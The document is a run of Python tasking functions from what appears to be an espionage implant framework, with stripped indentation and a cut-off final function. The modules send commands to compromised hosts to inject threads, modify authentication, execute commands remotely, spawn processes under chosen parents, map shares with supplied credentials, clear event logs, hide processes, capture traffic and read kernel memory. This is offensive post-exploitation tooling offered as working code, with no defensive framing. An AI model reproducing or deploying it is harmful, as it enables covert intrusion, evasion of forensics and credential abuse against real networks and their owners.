def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'flav.cmd.flavcontrol', globals())
mcl.imports.ImportWithNamespace(namespace, 'flav.cmd.flavcontrol.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['cmd'] == FLAV_CMD_STATUS:
rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_STATUS
elif lpParams['cmd'] == FLAV_CMD_AVAILABLE:
rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_AVAILABLE
elif lpParams['cmd'] == FLAV_CMD_NETSTAT:
tgtParams = flav.cmd.flavcontrol.Params()
tgtParams.bufferSize = lpParams['bufferSize']
rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_NETSTAT
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
elif lpParams['cmd'] == FLAV_CMD_IPCONFIG:
tgtParams = flav.cmd.flavcontrol.Params()
tgtParams.bufferSize = lpParams['bufferSize']
rpc = flav.cmd.flavcontrol.tasking.RPC_INFO_IPCONFIG
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
else:
mcl.tasking.OutputError('Unhandled command type (%u)' % lpParams['cmd'])
return False
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, flav.cmd.flavcontrol.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.arp',
globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.arp.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
msg = MarshalMessage()
if lpParams['instruction'] == ARP_QUERY:
rpc = mca.network.cmd.arp.tasking.RPC_INFO_QUERY
elif lpParams['instruction'] == ARP_MON:
if lpParams['entries'] == 0:
mcl.tasking.EchoError('Number of entries must be non-zero')
return False
monParams = mca.network.cmd.arp.MonitorParams()
monParams.delay = lpParams['delay']
monParams.entries = lpParams['entries']
monParams.sendInterval = lpParams['sendInterval']
if monParams.delay.m_seconds == 0:
monParams.delay.m_seconds = 1
rpc = mca.network.cmd.arp.tasking.RPC_INFO_MONITOR
monParams.Marshal(msg)
rpc.SetData(msg.Serialize())
elif lpParams['instruction'] == ARP_SCAN:
scanParams = mca.network.cmd.arp.ScanParams()
scanParams.delay = lpParams['delay']
scanParams.startIp = lpParams['startIp']
scanParams.endIp = lpParams['endIp']
import mcl.object.IpAddr
if scanParams.startIp.GetType(
) == mcl.object.IpAddr.IpAddr.IPADDR_TYPE_IPV4 and scanParams.startIp.GetAddr(
) == 0:
mcl.tasking.EchoError('Invalid starting IP address')
return False
if scanParams.endIp.GetType(
) == mcl.object.IpAddr.IpAddr.IPADDR_TYPE_IPV4 and scanParams.endIp.GetAddr(
) == 0:
scanParams.endIp = scanParams.startIp
if scanParams.delay.m_seconds == 0:
scanParams.delay.m_seconds = 1
rpc = mca.network.cmd.arp.tasking.RPC_INFO_SCAN
scanParams.Marshal(msg)
rpc.SetData(msg.Serialize())
else:
mcl.tasking.EchoError('Invalid instruction (%u)' %
lpParams['instruction'])
return False
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.arp.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
from os import getpid
import mcl.status
mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.handles',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.status.cmd.handles.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['action'] == _ACTION_LIST:
tgtParams = mca.status.cmd.handles.ParamsQuery()
tgtParams.processId = lpParams['procid']
tgtParams.all = lpParams['all']
tgtParams.memory = lpParams['memory']
rpc = mca.status.cmd.handles.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
elif lpParams['action'] == _ACTION_DUPLICATE:
tgtParams = mca.status.cmd.handles.ParamsDuplicate()
tgtParams.processId = lpParams['procid']
tgtParams.handleValue = lpParams['handleValue']
rpc = mca.status.cmd.handles.tasking.RPC_INFO_DUPLICATE
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
elif lpParams['action'] == _ACTION_CLOSE:
tgtParams = mca.status.cmd.handles.ParamsClose()
tgtParams.processId = lpParams['procid']
tgtParams.handleValue = lpParams['handleValue']
rpc = mca.status.cmd.handles.tasking.RPC_INFO_CLOSE
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
else:
mcl.tasking.OutputError('Unhandled action type')
return False
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.status.cmd.handles.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.language', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.language.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.survey.cmd.language.Params()
if lpParams['path'] != None:
tgtParams.path = lpParams['path']
if lpParams['file'] != None and len(lpParams['file']) > 0:
tgtParams.file = lpParams['file']
else:
mcl.tasking.EchoError('No file was specified')
return False
if lpParams['numLang'] <= 0:
mcl.tasking.EchoError('Number of OS Languages must be greater than 0')
return False
else:
tgtParams.numLang = lpParams['numLang']
rpc = mca.survey.cmd.language.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.survey.cmd.language.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.technique
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.zbng.cmd.authentication', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.zbng.cmd.authentication.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['user'] == None or len(lpParams['user']) == 0:
mcl.tasking.OutputError('A username must be specified')
return False
else:
tgtParams = mca.zbng.cmd.authentication.Params()
tgtParams.threadProvider = mcl.tasking.technique.Lookup('AUTHENTICATION', mcl.tasking.technique.TECHNIQUE_MCL_INJECT, lpParams['thread'])
tgtParams.memoryProvider = mcl.tasking.technique.Lookup('AUTHENTICATION', mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, lpParams['memory'])
tgtParams.user = lpParams['user']
rpc = mca.zbng.cmd.authentication.tasking.RPC_INFO_MODIFY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, tgtParams.memoryProvider)
taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_INJECT, tgtParams.threadProvider)
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.zbng.cmd.authentication.errorStrings)
return False
return True
def _handleUninstall(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals())
mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mcf.cmd.diba.ParamsUninstall()
if lpParams['type'] != None:
mcl.imports.ImportWithNamespace(namespace, 'mcf.kisu.ids', globals())
if mcf.kisu.ids.nameTable.has_key(lpParams['type'].upper()):
tgtParams.instance = mcf.kisu.ids.nameTable[
lpParams['type'].upper()]
else:
mcl.tasking.EchoError('Unknown KISU type (%s)' % lpParams['type'])
return False
else:
tgtParams.instance = lpParams['instance']
rpc = mcf.cmd.diba.tasking.RPC_INFO_UNINSTALL
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings)
return False
else:
return True
def _handleGeZu_KernelMemory(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.technique
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace,
'mca.gezu.cmd.GeZu_KernelMemory',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.gezu.cmd.GeZu_KernelMemory.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.gezu.cmd.GeZu_KernelMemory.Params()
tgtParams.baseAddress = lpParams['baseAddress']
tgtParams.size = lpParams['size']
rpc = mca.gezu.cmd.GeZu_KernelMemory.tasking.RPC_INFO_GEZU_KERNELMEMORY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(
res, 0, mca.gezu.cmd.GeZu_KernelMemory.errorStrings)
return False
return True
def _lpSharesMap(namespace, lpParams):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.shares',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.network.cmd.shares.tasking',
globals())
if lpParams['target'] == None or len(lpParams['target']) == 0:
mcl.tasking.OutputError('A target must be specified')
return False
else:
if lpParams['resource'] == None or len(lpParams['resource']) == 0:
mcl.tasking.OutputError('A resource must be specified')
return False
tgtParams = mca.network.cmd.shares.ParamsMap()
tgtParams.target = lpParams['target']
tgtParams.resource = lpParams['resource']
tgtParams.drive = lpParams['drive']
tgtParams.username = lpParams['username']
tgtParams.password = lpParams['password']
tgtParams.domain = lpParams['domain']
rpc = mca.network.cmd.shares.tasking.RPC_INFO_MAP
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.network.cmd.shares.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.remoteexecute', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.remoteexecute.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['addr'] == None or len(lpParams['addr']) == 0 or lpParams['cmd'] == None or len(lpParams['cmd']) == 0:
mcl.tasking.OutputError('An address and command must be specified')
return False
else:
tgtParams = mca.process.cmd.remoteexecute.Params()
tgtParams.address = lpParams['addr']
tgtParams.command = lpParams['cmd']
rpc = mca.process.cmd.remoteexecute.tasking.RPC_INFO_EXECUTE
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
taskXml.SetTargetRemote(tgtParams.address)
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.remoteexecute.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.environment', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.environment.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.process.cmd.environment.Params()
tgtParams.action = lpParams['action']
if lpParams['envVar'] != None:
tgtParams.variable = lpParams['envVar']
if lpParams['setValue'] != None:
tgtParams.value = lpParams['setValue']
if tgtParams.action != mca.process.cmd.environment.ACTION_GET and len(tgtParams.variable) == 0:
mcl.tasking.OutputError('No environment variable specified for set or delete')
return False
else:
rpc = mca.process.cmd.environment.tasking.RPC_INFO_ACTION
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
taskXml.AddSearchMask(tgtParams.variable)
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.environment.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netconnections', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netconnections.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.network.cmd.netconnections.Params()
tgtParams.monitor = lpParams['monitor']
tgtParams.delay = lpParams['delay']
tgtParams.maximum = lpParams['maximum']
if lpParams['dataset'] == QUERY_TYPE_ALL:
tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_ALL
elif lpParams['dataset'] == QUERY_TYPE_IPONLY:
tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_IP_ONLY
elif lpParams['dataset'] == QUERY_TYPE_TCPONLY:
tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_TCP_ONLY
elif lpParams['dataset'] == QUERY_TYPE_UDPONLY:
tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_UDP_ONLY
elif lpParams['dataset'] == QUERY_TYPE_PIPESONLY:
tgtParams.queryType = mca.network.cmd.netconnections.PARAMS_QUERY_TYPE_PIPES_ONLY
else:
mcl.tasking.OutputError('Unknown data set requested')
return False
rpc = mca.network.cmd.netconnections.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.netconnections.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.technique
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.runaschild', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.runaschild.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.process.cmd.runaschild.Params()
tgtParams.threadProvider = mcl.tasking.technique.Lookup('RUNASCHILD', mcl.tasking.technique.TECHNIQUE_MCL_INJECT, lpParams['thread'])
tgtParams.memoryProvider = mcl.tasking.technique.Lookup('RUNASCHILD', mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, lpParams['memory'])
tgtParams.parentId = lpParams['pid']
if lpParams['command'] != None:
tgtParams.command = lpParams['command']
if len(tgtParams.command) == 0:
mcl.tasking.OutputError('A command must be specified')
return False
else:
rpc = mca.process.cmd.runaschild.tasking.RPC_INFO_RUN
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_MEMORY, tgtParams.memoryProvider)
taskXml.AddProvider(mcl.tasking.technique.TECHNIQUE_MCL_INJECT, tgtParams.threadProvider)
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.process.cmd.runaschild.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.virtualdir
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.copy', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.copy.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['src'] == None or len(lpParams['src']) == 0 or lpParams['dst'] == None or len(lpParams['dst']) == 0:
mcl.tasking.EchoError('A source and destination must be specified')
return False
else:
tgtParams = mca.file.cmd.copy.Params()
try:
tgtParams.src = mcl.tasking.virtualdir.GetFullPath(lpParams['src'])
tgtParams.dst = mcl.tasking.virtualdir.GetFullPath(lpParams['dst'])
except:
mcl.tasking.EchoError('Failed to get full paths for file copy')
return False
rpc = mca.file.cmd.copy.tasking.RPC_INFO_COPY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.copy.errorStrings)
return False
return True
def _sendControl(namespace, lpParams):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.dsky.cmd.trafficcapture',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.dsky.cmd.trafficcapture.tasking',
globals())
tgtParams = mca.dsky.cmd.trafficcapture.ParamsSendControl()
tgtParams.driver = lpParams['driver']
if lpParams['control'] == CAPTURE_CONTROL_START:
tgtParams.controlType = mca.dsky.cmd.trafficcapture.CONTROL_TYPE_START
elif lpParams['control'] == CAPTURE_CONTROL_STOP:
tgtParams.controlType = mca.dsky.cmd.trafficcapture.CONTROL_TYPE_STOP
else:
mcl.tasking.OutputError('Invalid control type')
return False
rpc = mca.dsky.cmd.trafficcapture.tasking.RPC_INFO_SEND_CONTROL
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.dsky.cmd.trafficcapture.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace,
'mca.survey.cmd.domaincontroller',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.survey.cmd.domaincontroller.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.survey.cmd.domaincontroller.Params()
tgtParams.primary = lpParams['primary']
if lpParams['domain'] != None:
tgtParams.domain = lpParams['domain']
rpc = mca.survey.cmd.domaincontroller.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(
res, 0, mca.survey.cmd.domaincontroller.errorStrings)
return False
else:
return True
def _lpSharesQuery(namespace, lpParams):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.shares',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.network.cmd.shares.tasking',
globals())
tgtParams = mca.network.cmd.shares.ParamsQuery()
tgtParams.domain = lpParams['domain']
tgtParams.password = lpParams['password']
tgtParams.target = lpParams['target']
tgtParams.username = lpParams['username']
if tgtParams.target == None or len(tgtParams.target) == 0:
tgtParams.target = '127.0.0.1'
if lpParams['method'] == _NET_USE:
rpc = mca.network.cmd.shares.tasking.RPC_INFO_QUERY
elif lpParams['method'] == _WMI:
rpc = mca.network.cmd.shares.tasking.RPC_INFO_QUERY_WMI
else:
mcl.tasking.OutputError('Invalid method')
return False
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.network.cmd.shares.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace,
'mca.process.cmd.processoptions',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.process.cmd.processoptions.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.process.cmd.processoptions.Params()
tgtParams.action = lpParams['task']
tgtParams.elevate = lpParams['elevate']
tgtParams.processId = lpParams['id']
tgtParams.setValue = lpParams['setvalue']
rpc = mca.process.cmd.processoptions.tasking.RPC_INFO_ACTION
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(
res, 0, mca.process.cmd.processoptions.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.portmap',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.network.cmd.portmap.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.network.cmd.portmap.Params()
tgtParams.maxPorts = lpParams['maxports']
tgtParams.memory = lpParams['memory']
rpc = mca.network.cmd.portmap.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.network.cmd.portmap.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.eventlogclear', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.eventlogclear.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['logfile'] == None or len(lpParams['logfile']) == 0:
mcl.tasking.OutputError('A log name must be specified')
return False
else:
tgtParams = mca.security.cmd.eventlogclear.Params()
tgtParams.log = lpParams['logfile']
if lpParams['remote'] != None:
tgtParams.target = lpParams['remote']
if lpParams['classic']:
tgtParams.flags |= mca.security.cmd.eventlogclear.PARAMS_FLAG_USE_CLASSIC_LOG
rpc = mca.security.cmd.eventlogclear.tasking.RPC_INFO_CLEAR
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
taskXml = mcl.tasking.Tasking()
if len(tgtParams.target) > 0:
taskXml.SetTargetRemote(tgtParams.target)
else:
taskXml.SetTargetLocal()
taskXml.AddSearchMask(tgtParams.log)
mcl.tasking.OutputXml(taskXml.GetXmlObject())
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.security.cmd.eventlogclear.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.technique
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.install.cmd.shutdown',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.install.cmd.shutdown.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.install.cmd.shutdown.Params()
tgtParams.type = lpParams['exitVal']
rpc = mca.install.cmd.shutdown.tasking.RPC_INFO_SHUTDOWN
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.install.cmd.shutdown.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netbios', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.netbios.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.network.cmd.netbios.Params()
if lpParams['machinename'] != None:
tgtParams.target = lpParams['machinename']
if len(tgtParams.target) > 0:
tgtParams.target = tgtParams.target.upper()
if len(tgtParams.target) > 2 and tgtParams.target[0] == '\\' and tgtParams.target[1] == '\\':
tgtParams.target = tgtParams.target[2:]
taskXml = mcl.tasking.Tasking()
if len(tgtParams.target) > 0:
taskXml.SetTargetRemote(tgtParams.target)
else:
taskXml.SetTargetLocal()
mcl.tasking.OutputXml(taskXml.GetXmlObject())
rpc = mca.network.cmd.netbios.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.netbios.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.hide',
globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.security.cmd.hide.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['type'] == HIDE_TYPE_PROCESS:
tgtParams = mca.security.cmd.hide.ProcessParams()
tgtParams.unhide = lpParams['unhide']
if lpParams['metaData'] != None:
tgtParams.metaData = lpParams['metaData']
tgtParams.processId = lpParams['intValue']
rpc = mca.security.cmd.hide.tasking.RPC_INFO_ACTION
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
else:
mcl.tasking.EchoError('Invalid type (%u)' % lpParams['type'])
return False
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.security.cmd.hide.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.process.cmd.processinfo',
globals())
mcl.imports.ImportWithNamespace(namespace,
'mca.process.cmd.processinfo.tasking',
globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.process.cmd.processinfo.Params()
tgtParams.id = lpParams['id']
if lpParams['elevate']:
tgtParams.flags |= mca.process.cmd.processinfo.PARAMS_FLAG_ELEVATE
if lpParams['performHashes']:
tgtParams.flags |= mca.process.cmd.processinfo.PARAMS_FLAG_HASH_MODULES
rpc = mca.process.cmd.processinfo.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0,
mca.process.cmd.processinfo.errorStrings)
return False
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
import mcl.tasking.virtualdir
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.mkdir', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.mkdir.tasking', globals())
lpParams = mcl.tasking.GetParameters()
if lpParams['dir'] != None:
dir = lpParams['dir']
else:
dir = ''
try:
dir = mcl.tasking.virtualdir.GetFullPath(dir)
except:
mcl.tasking.EchoError('Failed to apply virtual dir')
return False
tgtParams = mca.file.cmd.mkdir.Params()
tgtParams.dir = dir
rpc = mca.file.cmd.mkdir.tasking.RPC_INFO_CREATE
msg = MarshalMessage()
tgtParams.Marshal(msg)
rpc.SetData(msg.Serialize())
rpc.SetMessagingType('message')
res = mcl.tasking.RpcPerformCall(rpc)
if res != mcl.target.CALL_SUCCEEDED:
mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.mkdir.errorStrings)
return False
else:
return True
def TaskingMain(namespace):
import mcl.imports
import mcl.target
import mcl.tasking
from mcl.object.Message import MarshalMessage
mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.objects', globals())
mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.objects.tasking', globals())
lpParams = mcl.tasking.GetParameters()
tgtParams = mca.status.cmd.objects.Params()
if lpParams['path'] != None:
tgtParams.path = lpParams['path']
if lpParams['recursive']:
tgtParams.flags |= mca.status.cmd.objects.PARAMS_FLAG_RECURSIVE
if len(tgtParams.path) == 0:
tgtParams.path = '\\'
rpc = mca.status.cmd.objects.tasking.RPC_INFO_QUERY
msg = MarshalMessage()
